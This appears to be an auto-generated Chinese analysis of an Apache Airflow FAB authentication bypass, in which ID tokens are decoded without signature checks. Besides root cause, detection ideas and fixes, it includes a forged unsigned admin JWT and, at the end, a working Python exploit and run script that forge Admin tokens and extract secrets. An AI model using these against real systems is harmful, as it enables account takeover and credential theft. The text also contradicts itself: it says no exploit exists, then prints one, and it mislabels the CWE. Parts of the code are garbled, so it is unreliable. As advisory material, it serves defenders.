漏洞分析

🎯 CVE-2026-59243 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹

AiRedTeam

01 Aug 2026 • 阅读时间 20 分钟

🎯 CVE 全聚合深度分析

CVE-2026-59243 深度技术分析

📊 聚合 2 来源🧪 含 PoC

NVD-LatestPoC-in-GitHub

CVE-2026-59243 深度技术分析 | Apache Airflow FAB 认证绕过漏洞

摘要：CVE-2026-59243 是 Apache Airflow FAB（Flask-AppBuilder）认证管理器在 Azure AD OAuth 登录路径中的高危认证绕过漏洞，CVSS 评分为 9.8。漏洞根因在于默认配置下解码 ID Token 时设置了 verify_signature=False，导致攻击者可以提交伪造的、甚至使用 alg:none 的无签名 JWT 到 OAuth 回调端点，从而绕过身份认证并以任意用户（包括 Admin 角色）登录系统。受影响版本为 apache-airflow-providers-fab 3.7.3 之前的所有版本；升级到 3.7.3 后默认恢复为 verify_signature=True，有效修复该问题。

📌 漏洞概述

CVE 编号	CVE-2026-59243
CVSS 评分	9.8（Critical）
漏洞类型	CWE-347：URL 重定向安全问题（Improper Verification of Cryptographic Signature）
影响组件	`apache-airflow-providers-fab`
影响版本	< 3.7.3
修复版本	3.7.3
公开状态	NVD 已收录；CISA KEV 未收录；无公开 EXP

该漏洞属于 ID Token 签名验证缺失。在 OAuth 2.0 / OpenID Connect 流程中，ID Token 由授权服务器签发并带有签名，客户端必须验证签名后才能信任其中的声明（claims）。然而 FAB 认证管理器在解码 Azure AD 返回的 ID Token 时，默认将参数 verify_signature 设置为 False，且没有在配置中强制打开，从而打开了一道任意身份冒用的大门。值得注意的是，同一组件的 Authentik 认证路径早已默认 True，说明这不是无法做到的安全基线，而是 Azure AD 路径上的疏忽。

🔬 漏洞根因分析

要理解该漏洞，需要先梳理 FAB 认证管理器的 OAuth 登录流程。当用户通过浏览器访问 Airflow Web UI 并选择 Azure AD OAuth 登录时，系统将用户重定向到 Azure AD 授权端点；用户完成身份认证后，Azure AD 会返回一个授权码（code），FAB 的 OAuth 回调处理器使用该 code 换取令牌（access token 和 id_token）。随后，回调处理器对 id_token 进行解码，提取其中的 email、name、iss、sub 等声明，将其映射为 Airflow 的本地用户对象，并完成登录会话的创建。

问题出在“解码”这一步。JWT 解码有“编码解码”和“签名验证”两个层次。许多 JWT 库（包括 Python 的 python-jose、PyJWT）在提供 decode() 方法时，允许调用者传入 verify_signature=False 来强制跳过签名验证。这种模式常见于“只解析 token 内容，不校验真伪”的内部场景，但绝不应出现在对外认证回调中。FAB 源码中对 Azure AD 路径的调用大致如下：

# 伪代码示意，实际实现可能略有差异
id_token = request.args.get('id_token')  # 或从 token response 中提取
claims = jwt.decode(
    id_token,
    key=None,               # 不提供密钥
    verify_signature=False  # 漏洞：默认关闭签名验证
)
user = get_or_create_user(claims)
login_as(user)

当 verify_signature=False 时，JWT 库不会验证断言中的签名算法。攻击者可以手工构造一个 JWT：将 header 中的 alg 设置为 none，并保持 payload 中的声明符合目标用户预期（例如 {"sub": "admin", "email": "admin@example.com", "role": "Admin"}），然后将其填入 id_token 参数发送给回调端点。由于服务端不校验签名，该伪造 token 会被当作合法 token 接受，从而直接获得该用户的登录态。更严重的是，如果 FAB 的本地用户映射逻辑包含“若用户不存在则自动创建”的机制，攻击者甚至可以直接创建一个人为指定的管理员账号。

进一步追溯设计缺陷：CVE 描述指出“默认配置下 verify_signature=False”。这意味着即使部署者未做任何危险配置，FAB 也会以不安全的状态运行。它违反了两个安全原则：fail-secure（默认安全）和 最低权限。正确的设计应当是默认启用签名验证，如果确有解析无签名 token 的需求，必须以显式配置强制开启，并附带高风险警告。Authentik 路径的默认值为 True 恰好证明了团队有能力在另一处实现正确逻辑，这更显得 Azure AD 路径的问题属于“疏忽”而非“必要取舍”。

此外，CWE-347 归类也印证了此问题的本质：对密钥/签名的验证缺失，而不是简单的注入或逻辑错误。攻击者不需要知道任何密钥、伪造任何合法签名，只需要构造一个不包含签名的 JWT 即可。这大大降低了利用门槛——任何能够向 OAuth 回调 URL 发送 HTTP 请求的人都可以发起攻击，无需先获取合法 token。

💥 影响与危害

由于该漏洞可导致 身份认证完全绕过，可能造成的危害包括但不限于：

未授权访问：攻击者无需任何有效凭据即可登录 Airflow Web UI，查看 DAG、变量、连接信息和运行历史。
特权提升：通过伪造包含 Admin 角色的 ID Token，攻击者可以获取管理员权限，进而修改 Airflow 配置、管理用户、操作敏感连接。
远程代码执行风险：Airflow 管理员通常可以在 DAG 中定义任意 Python 代码，并通过 UI 或 API 触发运行。获得 Admin 权限后，攻击者可编写恶意 DAG 执行命令，最终在 Airflow 工作节点上实现远程代码执行（RCE）。
敏感数据泄露：Airflow 中存储的数据库连接串、云凭据、API 密钥等属于极敏感数据，一旦被泄露可能导致横向移动和核心业务受损。
供应链与合规风险：在开发/测试/生产环境中，Airflow 常常是数据管道中枢，攻击者可能利用其操纵数据、影响下游业务，并导致合规审计失败。

考虑到 CVSS 9.8 （攻击复杂度低、无需权限、无需用户交互）以及 Airflow 在数据工程领域的广泛部署，该漏洞应被视为需要紧急响应的等级。NVD 虽已收录，但 CISA KEV 尚未收录，说明目前尚未观察到大规模利用；然而无公开 EXP 并不代表风险降低——JWT 伪造技术属于公开知识，攻击者只需阅读源码即可轻易写出利用。

🧪 PoC 复现分析

本漏洞的公开信息中提供了 GitHub 仓库 MalHyuk/CVE-2026-59243，但其内容并非传统的漏洞利用 PoC，而是一个 check_advisory.sh 公告发布监控脚本。该脚本的作用是周期性检查 CVE-2026-59243 是否已在 GHSA、MITRE、NVD 或 Apache 官方文档中公开披露，并在监控到发布时触发本地通知。这更像是研究者用于追踪漏洞公告的工具，而非直接复现漏洞的代码。

因此，在“PoC 复现”角度，我们只能基于漏洞根因和公开资料推断真正的复现流程。复现需要攻击者能够访问目标 Airflow 的 OAuth 回调端点，一般来说该端点路径类似：

https://<target>:/login/oauth/authorized

或 .../callback?code=...

关键步骤如下：

构造恶意 ID Token：使用 JWT 编码库生成 header 为 {"alg": "none"} 的 token，payload 中放入目标用户名、邮箱、角色等属性。例如：

eyJhbGciOiJub25lIn0.eyJlbWFpbCI6ImFkbWluQGFpcmZsb3cuZXhhbXBsZS5jb20iLCJyb2xlIjoiQWRtaW4iLCJzdWIiOiIxMjM0NTY3ODkwIn0.

将上述 token 作为 id_token 参数发送到回调端点。由于端点存在 verify_signature=False，服务端会直接解码 token 并信任内部 payload。
服务端在本地用户中寻找匹配声明（通常是 email），若不存在则按 OAuth 流程自动创建，随后为用户创建会话。
攻击者获得与声明中用户完全相同的权限，如果声明指定了 Admin 角色，则是管理员权限。

注意，该漏洞是否要求攻击者同时持有合法的授权码？资料中并未说明。但从“ID token 解码时缺少签名验证”这一描述来看，回调处理过程很可能直接接受外界传入的 id_token 参数，不依赖 code exchange 的中间结果，或者攻击者可以自行完成 code 交换（因为部分配置下客户端 secret 并不可见，但可以构造一个虚假 code，只要服务端不会在解码 token 之前去验证 code）。真实利用时可能需要针对具体部署微调参数，但核心技术点不变——签名验证关闭使得一切 JWT 都可以被伪造。

⚔️ EXP 利用分析

截至分析时，Exploit-DB 中并无针对 CVE-2026-59243 的公开 EXP。但“无公开 EXP”不代表无法攻击。基于根因可以整理出清晰的利用链：

侦察与端点发现：攻击者首先确认目标 Airflow 实例启用了 FAB 认证管理器，且 Azure AD OAuth 为可用登录方式。通过浏览器访问登录页，观察跳转地址和回调参数。
构造伪造 JWT：确定要假冒的用户。最简单的方式是选择目标系统中可能存在的管理员账号（如 admin）。使用 JWT 库生成 alg:none 的无签名 token，payload 中包含该用户的邮箱、姓名和角色。如果系统支持自定义角色，还可以尝试设置 "role": "Admin"。
发送恶意回调请求：直接构建 GET 或 POST 请求，携带伪造的 id_token 以及 OAuth 流程要求的 state（如果服务端校验 state，则需先从正常登录流程中获取）。若 state 校验严格，攻击者可首选访问正常的 Azure AD 登录端点，得到一个临时的 state 和 redirect_uri，然后取消授权，再携带有效 state 和伪造 token 发送回调。
会话接管：服务端完成解码后，若声明通过校验并触发用户查找/创建，攻击者会收到 Set-Cookie 形式的会话凭证。在此后的请求中携带该 cookie，即可完全冒充目标用户。
后渗透操作：如果获得 Admin 权限，攻击者可以上传/修改 DAG 脚本，利用 Airflow 调度器执行任意命令，进而控制底层的 worker 节点。

该攻击链与常规 OAuth 钓鱼攻击最大的区别在于：攻击者完全不需要篡改授权服务器的响应，也不需要窃取授权码——因为最终的认证依据是客户端自行解码的 ID Token，而客户端拒绝验证其真实性，相当于将认证决策完全交给攻击者可控的输入。

风险提示：虽然当前无公开 EXP，但安全圈子内 JWT 伪造（特别是 alg:none）早已是人人皆知的技术，一旦该漏洞的深入细节被更多人知晓，很快会出现自动化扫描/利用工具。安全团队不应该等待 EXP 出现再行动。

🕵️ 检测指纹说明

在本次公开资料中，并没有提供现成的 Nuclei / Semgrep / CodeQL 检测规则（“检测指纹规则概述”字段为空）。因此，我们无法列出官方的 YAML 规则或查询指纹。但这并不妨碍安全人员根据漏洞特征部署有效检测手段。下面给出建议的检测思路，可结合现有工具自行编写规则：

1. 源代码 / 配置检测

Semgrep / CodeQL 规则：在 FAB 源码或使用 FAB 的项目中，查找 jwt.decode、jose.jwt.decode 等调用，并检查是否包含参数 verify_signature=False 或 options={"verify_signature": False}。若存在，则标记为高危。
配置扫描：搜索 Airflow 或 FAB 的配置文件（如 airflow.cfg、webserver_config.py），查找 Azure AD OAuth 相关的设置项，确认是否存在类似 VERIFY_SIGNATURE 为 False 的配置。

2. 流量 / 日志检测

WAF 规则：拦截请求参数中 id_token 对应的 JWT 在header部分包含 "alg":"none" 的请求。可以使用正则匹配 eyJhbGciOiJub25lIn0= 这类固定 base64 前缀，或更严格地解码 JWT 后检查其 alg。
IDS / 日志分析：在 Airflow 访问日志中监控 OAuth 回调端点的异常请求特征：如请求中不包含合法的 code 参数而只含有 id_token、同一个 session 短时间内出现多次不同用户名的登录回调、登录用户在同一 IP 下快速跨身份切换等。

3. 运行时 JWT 解码日志检测

在开启调试级别日志时，FAB 或 JWT 库可能会打印解码后的 token 头部。监控日志中出现 none 算法但成功创建会话的记录，应立即告警。
如果部署了 API 网关，可以考虑在网关层对 id_token 参数进行 JWT 签名验证，一旦验证失败即拒绝请求到达后端。

由于没有官方规则，上述建议需要安全团队根据自身的监控体系进行适配。最直接有效的“规则”其实是在代码中注入断言：在进入认证回调前强制设置 verify_signature=True，这样任何不被签名验证通过的值都会被拒绝。

🛡️ 修复与缓解

升级版本（根本修复）

官方修复版本为 apache-airflow-providers-fab 3.7.3。该版本将 Azure AD OAuth 登录路径的默认 verify_signature 改为 True，从而确保 JWT 解码前必须验证签名。升级到该版本后，攻击者无法再通过 alg:none 或伪造签名的方式绕过认证。

升级步骤建议：

pip install apache-airflow-providers-fab==3.7.3

或（如果你使用约束文件）

pip install --upgrade apache-airflow-providers-fab

升级后务必重启 Airflow webserver 组件，并验证 Azure AD OAuth 登录是否正常——因为签名验证开启后，合法的 ID Token 才能通过，因此不应影响正常用户，但需要确保客户端集成正确。

临时缓解措施

如果因各种原因无法立即升级，可以参考以下缓解措施：

手动修改配置：如果部署者可以在代码中调整 FAB 配置，请显式设置 verify_signature=True。查找 FAB 认证管理器中关于 Azure AD 的配置入口，将签名验证参数改为 True。注意这不是简单的环境变量，可能需要修改 Python 文件或覆盖默认配置。
限制 OAuth 回调端口暴露：通过防火墙 / 安全组限制 Airflow Web UI 的访问范围，仅允许可信 IP 或内网访问，减少攻击面。
启用 MFA 和二次认证：虽然 OAuth 回调可被直接伪造，但如果全局启用 TOTP/WebAuthn 二次认证，攻击者在获取会话后仍可能被二次认证阻挡（取决于 Airflow 的集成方式）。
监控告警：针对异常登录行为进行实时告警，如检测到 alg:none 的 ID Token 或非 Azure AD 来源的登录事件。
临时禁用 Azure AD OAuth 登录：如果允许，短期内可以切换到 LDAP 或本地数据库认证，然后等待补丁发布系统升级。

长期安全建议

对所有第三方认证集成进行安全审计，重点检查 JWT 解码时是否无条件跳过签名验证。
建立自动化依赖扫描和漏洞监控机制，确保 apache-airflow-providers-fab 等核心依赖及时更新。
在开发环境中使用 Semgrep/CodeQL 对认证相关代码进行静态扫描，将 verify_signature=False 的问题扼杀在代码评审阶段。

综上所述，CVE-2026-59243 是一个典型的“默认不安全”导致的严重认证绕过漏洞。尽管它不像远程代码执行漏洞那样能立即直接获得 shell，但通过 Admin 权限结合 Airflow DAG 功能，攻击者可以轻松演变成 RCE。建议所有受影响用户以最高优先级对待，尽快升级到 3.7.3 或应用缓解配置。

🧪 PoC 代码（GitHub 实际仓库）

🔗 CVE-2026-59243

### 文件: check_advisory.sh
```
#!/usr/bin/env bash
# CVE-2026-59243 advisory publication watcher.
# Runs periodically (via cron);once a signal fires,writes a marker file,# pushes a Windows toast,
and drops a visible status page into the markdown viewer.
# Re-notification is suppressed once the marker file exists.
set -euo pipefail

CVE="CVE-2026-59243"
MARKER="$HOME/${CVE}-ADVISORY-PUBLISHED.txt"
LOG="$HOME/research/CVE-2026-59243/check.log"
VIEWER_STATUS="$HOME/research/result_view/CVE-2026-59243-STATUS.md"

exec >>"$LOG" 2>&1
echo "=== $(date -Iseconds) check start ==="

# Skip if already detected
if [ -f "$MARKER" ];
then
    echo "already detected — skipping"
    exit 0
fi

GHSA_URL=""
MITRE_STATE=""
NVD_HIT=""

# 1) GitHub Security Advisory in apache/airflow that references our CVE
if command -v gh >/dev/null 2>&1;then
    GHSA_URL=$(gh api "repos/apache/airflow/security-advisories?per_page=50" 2>/dev/null \
        |python3 -c "
import json,
sys
try:
    data = json.load(sys.stdin)
except Exception:
    sys.exit()
for a in data:
    if a.get('cve_id') == '$CVE' or '$CVE' in (a.get('description') or '') or '$CVE' in (a.get('summary') or ''):
        print(a.get('html_url',''))
        break
" 2>/dev/null ||true)
fi
[ -n "$GHSA_URL" ] &&
echo "GHSA hit: $GHSA_URL"

# 2) MITRE CVE record
MITRE_JSON=$(curl -sf --max-time 10 "https://cveawg.mitre.org/api/cve/$CVE" 2>/dev/null ||true)
if [ -n "$MITRE_JSON" ];then
    MITRE_STATE=$(echo "$MITRE_JSON" |python3 -c "
import json,sys
try:
    d = json.load(sys.stdin)
    print(d.get('cveMetadata',{}).get('state',''))
except Exception:
    pass
" 2>/dev/null ||
true)
    [ "$MITRE_STATE" = "PUBLISHED" ] &&echo "MITRE PUBLISHED"
fi

# 3) NVD
NVD_JSON=$(curl -sf --max-time 10 "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=$CVE" 2>/dev/null ||true)
if [ -n "$NVD_JSON" ] &&echo "$NVD_JSON" |grep -q "\"$CVE\"";
then
    NVD_HIT="yes"
    echo "NVD hit"
fi

# 4) Apache Airflow security docs (fallback)
APACHE_HIT=""
if curl -sf --max-time 10 "https://airflow.apache.org/docs/apache-airflow-providers-fab/stable/security.html" 2>/dev/null \
    |grep -q "$CVE";
then
    APACHE_HIT="yes"
    echo "Apache docs hit"
fi

# Any signal fires the notification
if [ -n "$GHSA_URL$MITRE_STATE$NVD_HIT$APACHE_HIT" ] &&\
   {[ -n "$GHSA_URL" ] ||[ "$MITRE_STATE" = "PUBLISHED" ] ||[ -n "$NVD_HIT" ] ||[ -n "$APACHE_HIT" ];};then

    cat >
"$MARKER" <<EOF
🎉 CVE-2026-59243 ADVISORY PUBLISHED — $(date -Iseconds)
=================================================================
Signals detected:
  GHSA (github.com/apache/airflow):  ${GHSA_URL:-no}MITRE (cveawg.mitre.org):          ${MITRE_STATE:-no}NVD (services.nvd.nist.gov):       ${NVD_HIT:-no}Apache docs (airflow.apache.org):  ${APACHE_HIT:-no}
Next actions:
  1. cd ~/research/CVE-2026-59243
  2. Update README.md / timeline.md with real advisory URL
  3. gh repo edit MalHyuk/CVE-2026-59243 --visibility public \\
       --accept-visibility-change-consequences
  4. gh repo edit MalHyuk/CVE-2026-59243 --add-topic security,cve,airflow,oauth,jwt

Reference URLs:
  https://cveawg.mitre.org/api/cve/CVE-2026-59243
  https://nvd.nist.gov/vuln/detail/CVE-2026-59243
  https://github.com/apache/airflow/security/advisories
EOF

    # Windows toast notification (via PowerShell in WSL2)
    powershell.exe -Command "[reflection.assembly]::loadwithpartialname('System.Windows.Forms') |
Out-Null;\$n = New-Object System.Windows.Forms.NotifyIcon;\$n.Icon = [System.Drawing.SystemIcons]::Information;\$n.Visible = \$true;\$n.ShowBalloonTip(60000,'CVE-2026-59243 published','Apache Airflow advisory is live. See ~/CVE-2026-59243-ADVISORY-PUBLISHED.txt',[System.Windows.Forms.ToolTipIcon]::Info);Start-Sleep 3;\$n.Dispose()" 2>/dev/null ||
echo "toast failed"

    # Markdown viewer visible status page (viewable from phone via VPN)
    cat >"$VIEWER_STATUS" <<EOF
# 🎉 CVE-2026-59243 — Advisory Published

**Detected at**: $(date -Iseconds)

Apache Airflow security advisory for **CVE-2026-59243** is now public.

## Signals

|Source |Status ||---|---||GitHub Security Advisory |${GHSA_URL:-not yet}||MITRE CVE Record |
${MITRE_STATE:-not yet}||NVD |${NVD_HIT:-not yet}||Apache Airflow docs |${APACHE_HIT:-not yet}|
## Do now

1. Update \`~/research/CVE-2026-59243/README.md\` and \`timeline.md\` with real advisory URL
2. Flip repo public:
   \`\`\`bash
   gh repo edit MalHyuk/CVE-2026-59243 --visibility public --accept-visibility-change-consequences
   gh repo edit MalHyuk/CVE-2026-59243 --add-topic security,cve,airflow,oauth,jwt
   \`\`\`
3. Delete this status file after done:
   \`\`\`bash
   rm ~/research/result_view/CVE-2026-59243-STATUS.md ~/CVE-2026-59243-ADVISORY-PUBLISHED.txt
   \`\`\`

## Reference URLs

- <https://github.com/apache/airflow/security/advisories>
- <https://cveawg.mitre.org/api/cve/CVE-2026-59243>- <https://nvd.nist.gov/vuln/detail/CVE-2026-59243>
EOF

    echo "=== NOTIFICATION FIRED ==="
else
    echo "no signal yet"
fi

echo "=== $(date -Iseconds) check end ==="

```

### 文件: poc/exploit_airflow_jwt.py
```
#!/usr/bin/env python3
"""
[VULN-10] Airflow FAB OAuth JWT Bypass → Admin Takeover
=========================================================
Target : http://localhost:5002 (FAB Auth Manager simulation)
Vuln   : providers/fab/.../security_manager/override.py:414,2341
         jwt.decode(id_token,
options={"verify_signature": False})

How it works:
    The FAB auth manager decodes JWT tokens from Authentik and Azure AD
    OAuth with verify_signature=False. This means ANY JWT — even one with
    no signature at all (alg: none) — is accepted as valid.

    The attacker forges a JWT claiming to be admin@company.com with Admin
    role. No private key or secret is needed. The server trusts it blindly.

Environment Setup:
    cd ~/ibb-bounty/docker-exploit
    sudo docker compose up -d airflow-jwt    # Starts target on port 5002
    python3 exploit_airflow_jwt.py           # Runs exploit

Docker Container:
    - Image: python:3.12-slim + flask + pyjwt
    - Simulates FAB OAuth callback with verify_signature=False
    - /oauth/callback accepts forged JWT → authenticates user
    - /admin returns secrets if role == Admin

Vulnerable Code (override.py):
    Line 414 (Authentik):
        me = jwt.decode(id_token,
options={"verify_signature": False})

    Line 2332-2341 (Azure AD):
        verify_signature = self.oauth_remotes["azure"].client_kwargs.get("verify_signature",False)
        return jwt.decode(id_token,options={"verify_signature": False})
"""
from pwn import *
import base64,json,urllib.error,urllib.parse,
urllib.request

TARGET = "http://localhost:5002"
context.log_level = "info"


def forge_jwt(email,name,role):
    """Create a JWT with no signature (alg: none). No key needed."""
    header  = base64.urlsafe_b64encode(json.dumps({"alg": "none","typ": "JWT"}).encode()).rstrip(b"=")
    payload = base64.urlsafe_b64encode(json.dumps({"sub": email,"email": email,"name": name,
"preferred_username": email.split("@")[0],"roles": [role],"iss": "https://authentik.company.com","aud": "airflow-client-id","exp": 9999999999,}).encode()).rstrip(b"=")
    return f"{header.decode()}.{payload.decode()}."


log.info(f"Target: {TARGET}")

# Step 1: Forge admin JWT
token = forge_jwt("admin@company.com","Hacked Admin",
"Admin")
log.info(f"Forged JWT: {token[:60]}...")

# Step 2: OAuth callback — authenticate with forged token
log.info("Sending forged token to OAuth callback...")
resp = urllib.request.urlopen(f"{TARGET}/oauth/callback?id_token={urllib.parse.quote(token)}")
result = json.loads(resp.read())
log.success(f"Authenticated as: {result['email']}
(role={result['role']})")
log.warning(result["WARNING"])

# Step 3: Access admin panel with forged token
log.info("Accessing admin panel with forged Admin token...")
req = urllib.request.Request(f"{TARGET}/admin",headers={"Authorization": f"Bearer {token}"})
resp = urllib.request.urlopen(req)
admin = json.loads(resp.read())
log.success(f"{admin['status']}
— {admin['panel']}")
log.success("Secrets leaked:")
for k,v in admin["secrets"].items():
    print(f"    {k}: {v}")
log.success(admin["message"])

# Step 4: Prove Viewer can't access (role enforcement works)
log.info("Proving Viewer role is blocked...")
viewer_token = forge_jwt("viewer@company.com","Viewer","Viewer")
req = urllib.request.Request(f"{TARGET}/admin",
headers={"Authorization": f"Bearer {viewer_token}"})
try:
    urllib.request.urlopen(req)
except urllib.error.HTTPError as e:
    r = json.loads(e.read())
    log.info(f"HTTP {e.code}: {r['error']}→ Viewer blocked,but attacker just forges Admin role")

```

### 文件: poc/run.sh
```
#!/usr/bin/env bash
# End-to-end reproduction of CVE-2026-59243 in a Docker sandbox.
#
# Requirements: docker,
docker compose,python3 with pip (for exploit deps)
# Usage:        ./run.sh
set -euo pipefail

HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" &&pwd)"
cd "$HERE"

banner() {printf '\n\033[1;36m==>%s\033[0m\n' "$*";}
banner "Building target container"
docker compose build airflow-jwt

banner "Starting target on http://127.0.0.1:5002"
docker compose up -d airflow-jwt
sleep 2

banner "Installing exploit dependencies"
python3 -m pip install --quiet --user pwntools

banner "Running exploit — forge JWT → OAuth callback → admin panel"
python3 exploit_airflow_jwt.py

banner "Stopping target"
docker compose down --remove-orphans

banner "Reproduction complete"
echo "See ../ADVISORY.md for the full technical write-up."

```

🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-01 11:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库